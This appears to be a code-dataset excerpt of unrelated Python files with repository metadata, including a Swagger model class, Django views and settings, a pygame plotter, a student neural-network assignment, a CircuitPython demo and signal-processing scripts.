Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'member_email': 'str',
'member_id': 'str',
'member_type': 'str'
}
attribute_map = {
'member_email': 'memberEmail',
'member_id': 'memberId',
'member_type': 'memberType'
}
def __init__(self, member_email=None, member_id=None, member_type=None): # noqa: E501
"""AddMemberToTeamBody - a model defined in Swagger""" # noqa: E501
self._member_email = None
self._member_id = None
self._member_type = None
self.discriminator = None
self.member_email = member_email
self.member_id = member_id
self.member_type = member_type
@property
def member_email(self):
"""Gets the member_email of this AddMemberToTeamBody. # noqa: E501
The email of the member being added to the team. Only use one: memberEmail or memberId. # noqa: E501
:return: The member_email of this AddMemberToTeamBody. # noqa: E501
:rtype: str
"""
return self._member_email
@member_email.setter
def member_email(self, member_email):
"""Sets the member_email of this AddMemberToTeamBody.
The email of the member being added to the team. Only use one: memberEmail or memberId. # noqa: E501
:param member_email: The member_email of this AddMemberToTeamBody. # noqa: E501
:type: str
"""
if member_email is None:
raise ValueError("Invalid value for `member_email`, must not be `None`") # noqa: E501
self._member_email = member_email
@property
def member_id(self):
"""Gets the member_id of this AddMemberToTeamBody. # noqa: E501
The id of the member being added to the team. Only use one: memberEmail or memberId. # noqa: E501
:return: The member_id of this AddMemberToTeamBody. # noqa: E501
:rtype: str
"""
return self._member_id
@member_id.setter
def member_id(self, member_id):
"""Sets the member_id of this AddMemberToTeamBody.
The id of the member being added to the team. Only use one: memberEmail or memberId. # noqa: E501
:param member_id: The member_id of this AddMemberToTeamBody. # noqa: E501
:type: str
"""
if member_id is None:
raise ValueError("Invalid value for `member_id`, must not be `None`") # noqa: E501
self._member_id = member_id
@property
def member_type(self):
"""Gets the member_type of this AddMemberToTeamBody. # noqa: E501
The type of member. Must be one of: user, organization. # noqa: E501
:return: The member_type of this AddMemberToTeamBody. # noqa: E501
:rtype: str
"""
return self._member_type
@member_type.setter
def member_type(self, member_type):
"""Sets the member_type of this AddMemberToTeamBody.
The type of member. Must be one of: user, organization. # noqa: E501
:param member_type: The member_type of this AddMemberToTeamBody. # noqa: E501
:type: str
"""
if member_type is None:
raise ValueError("Invalid value for `member_type`, must not be `None`") # noqa: E501
self._member_type = member_type
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(AddMemberToTeamBody, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, AddMemberToTeamBody):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| [
"[email protected]"
] | |
27b3c2c3ef5f55646bb766bd7d37a9deab94da26 | 3ec8f5a39ac16676f0255b6f2c5cd4deac0923d1 | /drf_auth_demo/blogs/views.py | d7703f7d349a025226d5d57c4abcc507589ddabb | [] | no_license | DritiTannk/drf-auth-demo | c13b01ee1b864c2a828f77fb715c8bdcfd503ab8 | a7c40bfa61fd69c66496cf64e3a8faf3c5d7e43b | refs/heads/master | 2022-11-24T17:04:50.619172 | 2020-07-21T05:50:00 | 2020-07-21T05:50:00 | 281,294,654 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 393 | py | from django.shortcuts import render
from rest_framework.permissions import IsAuthenticated
# Create your views here.
from rest_framework import viewsets, serializers
from .models import Blogs
from .serializers import BlogSerializer
class BlogsView(viewsets.ModelViewSet):
permission_classes = [IsAuthenticated]
queryset = Blogs.objects.all()
serializer_class = BlogSerializer
| [
"[email protected]"
] | |
9c2167853b79c85cddfc9844c8551999b9967476 | a28965f63987f7be41c4a8fc064c701b7557be27 | /issc/wsgi.py | 78773898c64d70a9f4247b6b437afcf6b4eda71c | [] | no_license | snehalgupta/issc | 9ec5745fd351466f059c847e8fc52388c83fa8c4 | afab1c6467ebcde50d2a79ea3feeec98b3c0b393 | refs/heads/master | 2020-07-28T09:31:06.334870 | 2018-02-26T18:21:07 | 2018-02-26T18:21:07 | 73,415,023 | 0 | 2 | null | 2016-11-29T18:46:20 | 2016-11-10T19:39:36 | Python | UTF-8 | Python | false | false | 386 | py | """
WSGI config for issc project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "issc.settings")
application = get_wsgi_application()
| [
"[email protected]"
] | |
025aee0ee295580f2542f9a0012ab929504424b8 | 0a1f7759094bddda55365f256fb00455a57e0518 | /screen.py | 527d0e26d9c666f37242810f85be633694e6d59f | [
"MIT"
] | permissive | carl-andersson/graphbots | 909956d98fdb84aa5c4465114e1f3c1bb4a24c86 | 8b0805ea922e1b7edd3d409691b213e236e2e2a7 | refs/heads/master | 2021-05-26T23:38:41.145431 | 2013-09-21T16:59:12 | 2013-09-21T16:59:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,128 | py | import pygame
class Screen(object):
def __init__(self, width, height):
self.__surface = pygame.display.set_mode((width, height))
self.__width = width
self.__height = height
self.__window_min_x = None
self.__window_max_x = None
self.__window_min_y = None
self.__window_max_y = None
def set_window(self, min_x, max_x, max_y, curve_data):
zoom=100
if max_x - min_x < zoom:
temp = (max_x + min_x)/2.0
max_x = temp + zoom/2.0
min_x = temp - zoom/2.0
min_x_y = curve_data.value_at_x(min_x)
max_x_y = curve_data.value_at_x(max_x)
min_y = min(min_x_y, max_x_y)
max_y = max(min_x_y, max_x_y, max_y)
max_rx_ry=max(max_x-min_x,max_y-min_y)
if max_x-min_x<max_y-min_y:
temp = (max_x+min_x)/2.0
max_x=temp+max_rx_ry/2.0
min_x=temp-max_rx_ry/2.0
else:
temp = (max_y+min_y)/2.0
max_y=temp+max_rx_ry/2.0
min_y=temp-max_rx_ry/2.0
self.__window_min_x = min_x
self.__window_max_x = max_x
self.__window_min_y = min_y
self.__window_max_y = max_y
print max_x - min_x
def draw_background(self, curve_data):
self.__surface.fill((255,255,255))
min_i = max(0, int(self.__window_min_x) - 1)
max_i = int(self.__window_max_x) + 2
curve = curve_data.range(min_i, max_i)
points = []
range_x = float(self.__window_max_x - self.__window_min_x)
range_y = float(self.__window_max_y - self.__window_min_y)
for i in range(len(curve)):
x = (float(min_i + i) - self.__window_min_x) / range_x
#x = float(min_i + i) / len(curve)
y = 1.0 - (curve[i] - self.__window_min_y) / range_y
points.append((int(x* self.__width), int(y * self.__height)))
# for x, y in zip(range(len(curve)), curve):
# range_x = self.__window_max_x - self.__window_min_x
# range_y = self.__window_max_y - self.__window_min_y
# print "ranges:", range_x, range_y
# print "(x,y):", (x,y)
# print "self.__window_min_x:", self.__window_min_x
# print "self.__window_max_x:", self.__window_max_x
# X = (x - self.__window_min_x) / range_x * self.__width
# Y = (y - self.__window_min_y) / range_y * self.__height
# points.append((X, Y))
#print points
# lines(Surface, color, closed, pointlist, width=1)
pygame.draw.lines(self.__surface, (255, 0, 0), False, points)
def draw_car(self, car):
range_x = float(self.__window_max_x - self.__window_min_x)
range_y = float(self.__window_max_y - self.__window_min_y)
x = (car.position.x - self.__window_min_x) / range_x * self.__width
y = (1.0 - (car.position.y - self.__window_min_y) / range_y) \
* self.__height
# circle(Surface, color, pos, radius, width=0) -> Rect
pygame.draw.circle(self.__surface, (0,0,255), (int(x), int(y)), 5)
| [
"[email protected]"
] | |
79c7142071c79b49850b8b8c4cdf0f242e1e18c4 | a234e07b21f9449da0877cbbc8134d371d5ccf32 | /python/函数.py | 4be78735756980c2f777606581d7d5726e9df69b | [] | no_license | imyk001/learn_jiekou0 | 0e19817bfcb28478f66ad813a2058f17d9d36db4 | 73606849f84dfadb7e156d9159fb9721dadf91a4 | refs/heads/master | 2020-12-08T14:35:58.025978 | 2020-01-20T10:03:46 | 2020-01-20T10:03:46 | 233,007,199 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,142 | py | #!/usr/bin/env python
# enccoding: utf-8
'''
@author: Yankai
@project:设计一个计算器,输入两个数,自动实现加减乘除(进阶:根据用户输入的计算符号计算结果)
'''
#1:位置参数
# def sum(a,b):
# print(a+b)
# sum(1,2)
# #2:默认参数
# def sum1(a,b=1):
# print(a+b)
# sum1(1,2)
#可变参数
# def calc(*numbers):
# print(*numbers)
# print(numbers)
# sum = 0
# for i in numbers:
# sum +=i
# return sum
# print(calc(1,2))
#关键字参数
def person(name,age,**kwargs):
print('name',name,'age',age,kwargs)
person('xiaoming',15,sex='male')
# def add(a,b):
# print(a+b)
# def sub(a,b):
# print(a-b)
# def mul(a,b):
# print(a*b)
# def div(a,b):
# print(a/b)
#
# # a = int(input("输入a:"))
# # b = int(input("输入b:"))
# a,b = input('输入a,b,并用逗号隔开:').split(',')
# c =input("请输入符号c:")
# if c== '+':
# add(int(a),int(b))
# elif c =='-':
# sub(int(a),int(b))
# elif c =='*':
# mul(int(a),int(b))
# elif c =='/':
# div(int(a),int(b))
# else:
# print('请输入正确的符号')
| [
"[email protected]"
] | |
80ef5d78c4377963cad4dc1268ce78d1c7fa2242 | f4252e2ce1dcd9b0ff8c3f9a828fe598e2807861 | /program_driver.py | e47256868e2cad54b5a4ab8a7924750918e3d43f | [] | no_license | stet-stet/books-for-narasem | 686b2ca3ef0d184a71ddee4838f9ebca009bd153 | 25bfcd681d237829a1c126623219a5f82ab77f6b | refs/heads/master | 2020-04-22T22:30:19.764194 | 2019-02-20T01:40:26 | 2019-02-20T01:40:26 | 170,710,597 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 299 | py | import requests
def drive():
words=["통계","수학","베이지언","유의성","SPSS","전후비교","표본","tukey","군집","동질성"]
for i in words:
r = requests.get("http://127.0.0.1:8000/search/"+str(i)+"/")
print(r.content)
if __name__=="__main__":
drive() | [
"[email protected]"
] | |
0c45a4e410214d74c311f150de46cbcb197e4aee | f5bd531c7b476fd8b8e6a9f8aeedf59f4b346b32 | /arrays/missingAndRepeating.py | 622527da66b1c656252ddba1d296a58b6ea8a3eb | [] | no_license | shanksms/python-algo-problems | f7eed1a47af9cf08f00bbef5611b8c8d8b52284e | ede488533dda4891192d849bfbcc87c33fae63d1 | refs/heads/master | 2020-04-08T05:34:14.205645 | 2019-01-27T05:07:44 | 2019-01-27T05:07:44 | 159,065,822 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 611 | py | def missingAndRepeating():
tc = int(input())
for c in range(tc):
n = int(input())
#n,d = list(map(int,input().split()))
arr = sorted(list(map(int, input().split())))
d = dict()
missing = dup = None
for e in arr:
if e in d:
d[e] += 1
else:
d[e] = 1
for i in range(1, n + 1):
if i not in d:
missing = i
elif d[i] == 2:
dup = i
print(dup, end = ' ')
print(missing)
if __name__ == '__main__':
missingAndRepeating()
| [
"[email protected]"
] | |
15de6020feaa334b4bda30cdacc58d331a0fa346 | f1c5f8f0cb0d14546e16331dfc79c234bdeec8f9 | /assignment1/cs231n/classifiers/neural_net.py | 249aa727d2b93f81df479f40b10430a8a746363a | [] | no_license | ljrprocc/cs231_solution | be9898672de3ccb5608b56b27b69a8764b6ef520 | 6cc7d626744ab37314c643e70ef823a47a92749b | refs/heads/master | 2020-03-31T08:32:30.049527 | 2018-10-09T04:27:49 | 2018-10-09T04:27:49 | 152,061,746 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,734 | py | from __future__ import print_function
import numpy as np
import matplotlib.pyplot as plt
class TwoLayerNet(object):
"""
A two-layer fully-connected neural network. The net has an input dimension of
N, a hidden layer dimension of H, and performs classification over C classes.
We train the network with a softmax loss function and L2 regularization on the
weight matrices. The network uses a ReLU nonlinearity after the first fully
connected layer.
ReLU function: y = max(0, w.T.dot(X))
In other words, the network has the following architecture:
input - fully connected layer - ReLU - fully connected layer - softmax
The outputs of the second fully-connected layer are the scores for each class.
"""
def __init__(self, input_size, hidden_size, output_size, std=1e-4):
"""
Initialize the model. Weights are initialized to small random values and
biases are initialized to zero. Weights and biases are stored in the
variable self.params, which is a dictionary with the following keys:
W1: First layer weights; has shape (D, H)
b1: First layer biases; has shape (H,)
W2: Second layer weights; has shape (H, C)
b2: Second layer biases; has shape (C,)
Inputs:
- input_size: The dimension D of the input data.
- hidden_size: The number of neurons H in the hidden layer.
- output_size: The number of classes C.
"""
self.params = {}
self.params['W1'] = std * np.random.randn(input_size, hidden_size)
self.params['b1'] = np.zeros(hidden_size)
self.params['W2'] = std * np.random.randn(hidden_size, output_size)
self.params['b2'] = np.zeros(output_size)
def loss(self, X, y=None, reg=0.0):
"""
Compute the loss and gradients for a two layer fully connected neural
network.
Inputs:
- X: Input data of shape (N, D). Each X[i] is a training sample.
- y: Vector of training labels. y[i] is the label for X[i], and each y[i] is
an integer in the range 0 <= y[i] < C. This parameter is optional; if it
is not passed then we only return scores, and if it is passed then we
instead return the loss and gradients.
- reg: Regularization strength.
Returns:
If y is None, return a matrix scores of shape (N, C) where scores[i, c] is
the score for class c on input X[i].
If y is not None, instead return a tuple of:
- loss: Loss (data loss and regularization loss) for this batch of training
samples.
- grads: Dictionary mapping parameter names to gradients of those parameters
with respect to the loss function; has the same keys as self.params.
"""
# Unpack variables from the params dictionary
W1, b1 = self.params['W1'], self.params['b1']
W2, b2 = self.params['W2'], self.params['b2']
N, D = X.shape
# Compute the forward pass
scores = None
#############################################################################
# TODO: Perform the forward pass, computing the class scores for the input. #
# Store the result in the scores variable, which should be an array of #
# shape (N, C). #
#############################################################################
a1 = X.dot(W1) + b1
z1 = np.maximum(a1, 0)
scores = z1.dot(W2) + b2
#############################################################################
# END OF YOUR CODE #
#############################################################################
# If the targets are not given then jump out, we're done
if y is None:
return scores
# Compute the loss
loss = None
#############################################################################
# TODO: Finish the forward pass, and compute the loss. This should include #
# both the data loss and L2 regularization for W1 and W2. Store the result #
# in the variable loss, which should be a scalar. Use the Softmax #
# classifier loss. #
#############################################################################
# correct_score1 = z1[np.arange(N), y]
# loss1 = -np.sum(correct_score1) + np.sum(np.log(np.sum(np.exp(z1), axis=1)))
correct_score2 = scores[np.arange(N), y]
loss = -np.sum(correct_score2) + np.sum(np.log(np.sum(np.exp(scores), axis=1)))
loss = loss / N + reg * np.sum(W1 * W1) + reg * np.sum(W2 * W2)
#############################################################################
# END OF YOUR CODE #
#############################################################################
# Backward pass: compute gradients
grads = {}
#############################################################################
# TODO: Compute the backward pass, computing the derivatives of the weights #
# and biases. Store the results in the grads dictionary. For example, #
# grads['W1'] should store the gradient on W1, and be a matrix of same size #
#############################################################################
H, C = W2.shape
I2 = np.zeros([N, C])
I2[np.arange(N), y] -= 1
grad2 = np.exp(scores) / np.tile(np.sum(np.exp(scores), axis=1).reshape(N, 1), [1, C])
I2 += grad2
grads['W2'] = np.dot(z1.T, I2)
grads['W2'] /= N
grads['W2'] += 2 * reg * W2
dZ1 = np.dot(I2, W2.T)
dA1 = dZ1.copy()
dA1[a1 < 0] = 0
grads['W1'] = np.dot(X.T, dA1)
grads['W1'] /= N
grads['W1'] += 2 * reg * W1
#############################################################################
# END OF YOUR CODE #
#############################################################################
return loss, grads
def train(self, X, y, X_val, y_val,
learning_rate=1e-3, learning_rate_decay=0.95,
reg=5e-6, num_iters=100,
batch_size=200, verbose=False):
"""
Train this neural network using stochastic gradient descent.
Inputs:
- X: A numpy array of shape (N, D) giving training data.
- y: A numpy array f shape (N,) giving training labels; y[i] = c means that
X[i] has label c, where 0 <= c < C.
- X_val: A numpy array of shape (N_val, D) giving validation data.
- y_val: A numpy array of shape (N_val,) giving validation labels.
- learning_rate: Scalar giving learning rate for optimization.
- learning_rate_decay: Scalar giving factor used to decay the learning rate
after each epoch.
- reg: Scalar giving regularization strength.
- num_iters: Number of steps to take when optimizing.
- batch_size: Number of training examples to use per step.
- verbose: boolean; if true print progress during optimization.
"""
num_train = X.shape[0]
iterations_per_epoch = max(num_train / batch_size, 1)
# Use SGD to optimize the parameters in self.model
loss_history = []
train_acc_history = []
val_acc_history = []
for it in range(num_iters):
X_batch = None
y_batch = None
#########################################################################
# TODO: Create a random minibatch of training data and labels, storing #
# them in X_batch and y_batch respectively. #
#########################################################################
idxs = np.random.choice(num_train, batch_size, True)
X_batch = X[idxs]
y_batch = y[idxs]
#########################################################################
# END OF YOUR CODE #
#########################################################################
# Compute loss and gradients using the current minibatch
loss, grads = self.loss(X_batch, y=y_batch, reg=reg)
loss_history.append(loss)
#########################################################################
# TODO: Use the gradients in the grads dictionary to update the #
# parameters of the network (stored in the dictionary self.params) #
# using stochastic gradient descent. You'll need to use the gradients #
# stored in the grads dictionary defined above. #
#########################################################################
self.params['W1'] -= learning_rate * grads['W1']
self.params['W2'] -= learning_rate * grads['W2']
#########################################################################
# END OF YOUR CODE #
#########################################################################
if verbose and it % 100 == 0:
print('iteration %d / %d: loss %f' % (it, num_iters, loss))
# Every epoch, check train and val accuracy and decay learning rate.
if it % iterations_per_epoch == 0:
# Check accuracy
train_acc = (self.predict(X_batch) == y_batch).mean()
val_acc = (self.predict(X_val) == y_val).mean()
train_acc_history.append(train_acc)
val_acc_history.append(val_acc)
# Decay learning rate
learning_rate *= learning_rate_decay
return {
'loss_history': loss_history,
'train_acc_history': train_acc_history,
'val_acc_history': val_acc_history,
}
def predict(self, X):
"""
Use the trained weights of this two-layer network to predict labels for
data points. For each data point we predict scores for each of the C
classes, and assign each data point to the class with the highest score.
Inputs:
- X: A numpy array of shape (N, D) giving N D-dimensional data points to
classify.
Returns:
- y_pred: A numpy array of shape (N,) giving predicted labels for each of
the elements of X. For all i, y_pred[i] = c means that X[i] is predicted
to have class c, where 0 <= c < C.
"""
y_pred = None
###########################################################################
# TODO: Implement this function; it should be VERY simple! #
###########################################################################
scores = self.loss(X)
y_pred = np.argmax(scores, axis=1)
###########################################################################
# END OF YOUR CODE #
###########################################################################
return y_pred
| [
"[email protected]"
] | |
d7a0a5b464ebe48b0090e1673c86151bf0fd5e03 | a903fc8f24e4867a85dc85405421137360e360a1 | /PythonFiles/venv/Lib/site-packages/future/moves/tkinter/dnd.py | c4a8215c91aa6408767c6bf8154457ed4d1310de | [] | no_license | CiBit2G/CiBit | 8c486d2aad672a0ec5aec57a0717418f08e3a8e0 | cedd24bccb31346ae2831655953e2ef6f9c5afa6 | refs/heads/Develop | 2023-08-10T10:51:56.447517 | 2021-01-08T22:08:33 | 2021-01-08T22:08:33 | 261,506,824 | 0 | 1 | null | 2023-07-23T15:08:58 | 2020-05-05T15:14:35 | Python | UTF-8 | Python | false | false | 318 | py | from __future__ import absolute_import
from future.utils import PY3
if PY3:
from tkinter.dnd import *
else:
try:
from Tkdnd import *
except ImportError:
raise ImportError('The Tkdnd module is missing. Does your Py2 '
'installation include tkinter?')
| [
"[email protected]"
] | |
d833246fb20e8dc2f9be3cede6668c121ecaf310 | 1c5ba955114cc03a44b1a4a9a1839d33c697e906 | /perfiles/admin.py | 5d194bc4870cf591098e998a08d919f546b5ccd8 | [] | no_license | ismaelzoto/Sistema-tutor-inteligente | b254291ed2f1195a52e312a15b446d29a22921ca | db70e88d3b6e77fa5f9cc35483c9df6398d10448 | refs/heads/master | 2023-03-11T06:06:38.893634 | 2021-02-22T00:34:16 | 2021-02-22T00:34:16 | 331,760,524 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 197 | py | from django.contrib import admin
# Register your models here.
from .models import Perfil
@admin.register(Perfil)
class PerfilAdmin(admin.ModelAdmin):
list_display = ('usuario', 'bio', 'web')
| [
"[email protected]"
] | |
991999f7a7e18e400a0fbd352e3489ff7228f16a | fe8de30b0b348076973c2fe21bf702858fb4369d | /trim2.py | 7ac1220c98f818699c79ee90c2eda4d897aa227e | [] | no_license | wl5/db_website | 7d6130465219e42804900bbd211658a74a96f80e | 91ebb55d5e484a307793a5e148b5be44bc3f08ff | refs/heads/master | 2020-04-08T06:35:34.792020 | 2018-12-27T02:51:44 | 2018-12-27T02:51:44 | 159,102,022 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 881 | py | import csv
import pdb
import pandas as pd
all_nodes = []
with open('static/node.csv') as node_file:
node_reader = csv.reader(node_file, delimiter=',')
next(node_reader)
for node in node_reader:
all_nodes.append(node)
all_edges = []
with open('static/edge.csv') as edge_file:
edge_reader = csv.reader(edge_file, delimiter=',')
next(edge_reader)
for edge in edge_reader:
all_edges.append(edge)
nodes_idx = [n[0] for n in all_nodes]
modified_edges = []
for e in all_edges:
id1 = nodes_idx.index(e[0])
id2 = nodes_idx.index(e[1])
e[0] = str(id1)
e[1] = str(id2)
print(e)
modified_edges.append(e)
df = pd.DataFrame(all_nodes)
df.columns = ["ID"]
df.to_csv("static/node_.csv", header = True, index = False)
df = pd.DataFrame(all_edges)
df.columns = ["source", "target"]
df.to_csv("static/edge_.csv", header = True, index = False)
| [
"[email protected]"
] | |
5f4414b914f64cfb5cb22a64310b61e3131ceab6 | 517d461257edd1d6b239200b931c6c001b99f6da | /Circuit_Playground/CircuitPython/libraries/adafruit-circuitpython-bundle-7.x-mpy-20230406/examples/clue_spirit_level.py | 88ae9fb8f2589cfb05ad1511a8ab6fc4a62bb7f0 | [] | no_license | cmontalvo251/Microcontrollers | 7911e173badff93fc29e52fbdce287aab1314608 | 09ff976f2ee042b9182fb5a732978225561d151a | refs/heads/master | 2023-06-23T16:35:51.940859 | 2023-06-16T19:29:30 | 2023-06-16T19:29:30 | 229,314,291 | 5 | 3 | null | null | null | null | UTF-8 | Python | false | false | 961 | py | # SPDX-FileCopyrightText: 2019 Kattni Rembor, written for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""CLUE Spirit Level Demo"""
import board
import displayio
from adafruit_display_shapes.circle import Circle
from adafruit_clue import clue
display = board.DISPLAY
clue_group = displayio.Group()
outer_circle = Circle(120, 120, 119, outline=clue.WHITE)
middle_circle = Circle(120, 120, 75, outline=clue.YELLOW)
inner_circle = Circle(120, 120, 35, outline=clue.GREEN)
clue_group.append(outer_circle)
clue_group.append(middle_circle)
clue_group.append(inner_circle)
x, y, _ = clue.acceleration
bubble_group = displayio.Group()
level_bubble = Circle(int(x + 120), int(y + 120), 20, fill=clue.RED, outline=clue.RED)
bubble_group.append(level_bubble)
clue_group.append(bubble_group)
display.show(clue_group)
while True:
x, y, _ = clue.acceleration
bubble_group.x = int(x * -10)
bubble_group.y = int(y * -10)
| [
"[email protected]"
] | |
f2c7ca09cac2df808eb625e1d063e7963382cdc4 | e42d424ba881086ef47431d4b511fd3971ec0eed | /app/fetch.py | bd94fe3e55db3aea32fb236506c7ec746f750725 | [] | no_license | WilliamStam/TradingBot | 0da8e3e0c9699e15ae0389131db7a375e311d5ec | e673035e26ad63f90b21a5b9630bd2b5e5802776 | refs/heads/master | 2023-03-23T22:52:16.058252 | 2021-03-17T15:45:55 | 2021-03-17T15:45:55 | 348,056,454 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 517 | py |
from system.cli.output import (
Line,
Item
)
from app import app
async def fetch( endpoint, **kwargs ):
response = await app.exchange.get(endpoint,**kwargs)
output = Line()
output.add(Item("FETCH", response.url), key="endpoint")
output.add(Item("STATUS", response.status), key="status")
for h in response.headers:
if h.startswith("x-mbx-used-weight"):
output.add(Item(h, response.headers[h]), key=h)
output.print("\n")
# print(response)
return response
| [
"[email protected]"
] | |
1f9817604df40f0a36a0797435c1fe7ff481bab1 | bb42e21d032315860ae79b6c90e741946f5be544 | /学员作业/石崇/select_course/conf/settings.py | 10863a061e5b378871d06e21867fe8da136ed577 | [] | no_license | wuyongqiang2017/AllCode | 32a7a60ea5c24a681c1bdf9809c3091a1ff3f5fc | eee7d31a3ba2b29f6dec3a6d6c688d40cba7e513 | refs/heads/master | 2023-04-09T16:38:26.847963 | 2018-03-06T02:50:06 | 2018-03-06T02:50:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 947 | py | #!/usr/bin/env python3
#-*- coding:utf-8 -*-
# write by congcong
import sys
import os
import logging
userinfo = r'D:\pycharm\Test1\Thrid_module\面向对象编程\select_course\db\userinfo'
teacher_obj = r'D:\pycharm\Test1\Thrid_module\面向对象编程\select_course\db\teacher_obj'
student_obj = r'D:\pycharm\Test1\Thrid_module\面向对象编程\select_course\db\student_obj'
schoolinfo = r'D:\pycharm\Test1\Thrid_module\面向对象编程\select_course\db\schoolinfo'
courses_obj = r'D:\pycharm\Test1\Thrid_module\面向对象编程\select_course\db\courses_obj'
classes_obj = r'D:\pycharm\Test1\Thrid_module\面向对象编程\select_course\db\classes_obj'
student_info = r'D:\pycharm\Test1\Thrid_module\面向对象编程\select_course\db\student_info'
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# 默认管理员账户
ADMIN_USENAME = 'admin1'
ADMIN_PWD = 111
# 允许尝试登录次数
LOGIN_TRY = 3
| [
"[email protected]"
] | |
c20c123e2286f949092a7398ba98a6a6bcddfa09 | c39f999cae8825afe2cdf1518d93ba31bd4c0e95 | /PYME/Acquire/eventLog.py | 7082748055b8f998f5ad09c0195537d6302e86e7 | [] | no_license | WilliamRo/CLipPYME | 0b69860136a9b2533f2f29fc29408d7471cb934d | 6596167034c727ad7dad0a741dd59e0e48f6852a | refs/heads/master | 2023-05-11T09:50:58.605989 | 2023-05-09T02:17:47 | 2023-05-09T02:17:47 | 60,789,741 | 3 | 1 | null | 2016-06-17T08:52:44 | 2016-06-09T16:30:14 | Python | UTF-8 | Python | false | false | 928 | py | #!/usr/bin/python
##################
# eventLog.py
#
# Copyright David Baddeley, 2009
# [email protected]
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##################
WantEventNotification = []
def logEvent(eventName, eventDescr = ''):
for evl in WantEventNotification:
evl.logEvent(eventName, eventDescr) | [
"[email protected]"
] | |
0d617923634ae0a08281b7ed1e0060c92c4c1979 | 1da52e842f9d74bc9efcae6940c211788e99bf78 | /code/login/urls.py | b01f55578a39d78364c3859fd7160a07cd274e1a | [] | no_license | Demmonius/dev_dashboard | b3650f9a2f164311ae8e94df67979293d0e883f9 | 5ed38a1c8e7c431bc75f89890c1d51c1d156e92a | refs/heads/master | 2020-04-12T06:02:41.934615 | 2019-10-01T15:25:42 | 2019-10-01T15:25:42 | 162,340,776 | 0 | 0 | null | 2019-08-27T19:18:24 | 2018-12-18T20:17:03 | CSS | UTF-8 | Python | false | false | 438 | py | from django.contrib import admin
from django.urls import path, include
from django.contrib.auth import logout, login
from .views import SignUp, SignIn, logoutView
from dashboard import settings
urlpatterns = [
path('signup', SignUp.as_view(), name="signup"),
path('signin', SignIn.as_view(), name='signin'),
path('auth/', include('social_django.urls', namespace='social')),
path('logout/', logoutView, name='logout')
]
| [
"[email protected]"
] | |
e3a49a6bba7b2c757a45b6ac748461a4ded43206 | 26ebbb5cbd1adaf57244e42dd128dc5456400a8d | /signalProcessing/sindft.py | 354b1842850d781c88c5fc9804bec75ac10760f1 | [] | no_license | thiagorcdl/MIR | 13ea064e4e7fb7c82af27d594e0c9698ad41206d | 94fee077031c126f13f201ea3d345c11be35a66f | refs/heads/master | 2021-01-20T01:56:30.786623 | 2014-04-07T06:53:02 | 2014-04-07T06:53:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,519 | py | #!/usr/bin/python
#
# Generates sinusoids
# Computes DFT and compares with NumPy's FFT
#
# Author: Thiago Lima
#
import numpy as np
import matplotlib.pylab as plt
## arr[0][bin] = real
## arr[1][bin] = img
## arr[2][bin] = x for plotting
# Creates sinusoid
def sinus(frq,amp,pha,win,sr):
# frq == 1? 2pi/360 : frq*2pi/360
step = frq * 2 * np.pi/sr
angle = pha
arr = [[ 0 for x in range(win)] for x in range(3)]
for bi in xrange(win):
arr[0][bi] = amp * np.cos(angle)
arr[1][bi] = amp * np.sin(angle)
arr[2][bi] = 0.0 + bi/sr
angle += step
return arr
# Calculates DFT of a matrix arr[2][window]
def dft(arr,win):
new = [[ 0 for x in range(win)] for x in range(3)]
for k in xrange(win):
sumR = 0
sumI = 0
for x in xrange(win):
angle = 2 * np.pi * x * k / win
sumR += arr[0][x] * np.cos(angle) + arr[1][x] * np.sin(angle)
sumI += -arr[0][x] * np.sin(angle)+ arr[1][x] * np.cos(angle)
new[0][k] = sumR
new[1][k] = sumI
new[2][k] = arr[2][k]
return new
# Calculates window with minimum magnitude difference
def amdf(arr,win):
minK = 1
sumD = [ 0 for x in range(win)]
for off in xrange(1,win):
for bi in xrange(win-off):
sumD[off] += abs(arr[bi] - arr[bi+off])
minK = minK if sumD[minK] <= sumD[off] else off
if sumD[off] < 10**-6:
return off
return minK
# Combines two sinusoids
def comb(s1,s2,win):
new = [[ 0 for x in range(win)] for x in range(3)]
for i in xrange(win):
new[0][i] = s1[0][i]+s2[0][i]
new[1][i] = s1[1][i]+s2[1][i]
new[2][i] = s1[2][i]
return new
sr = 2.0**8
window = 2**9
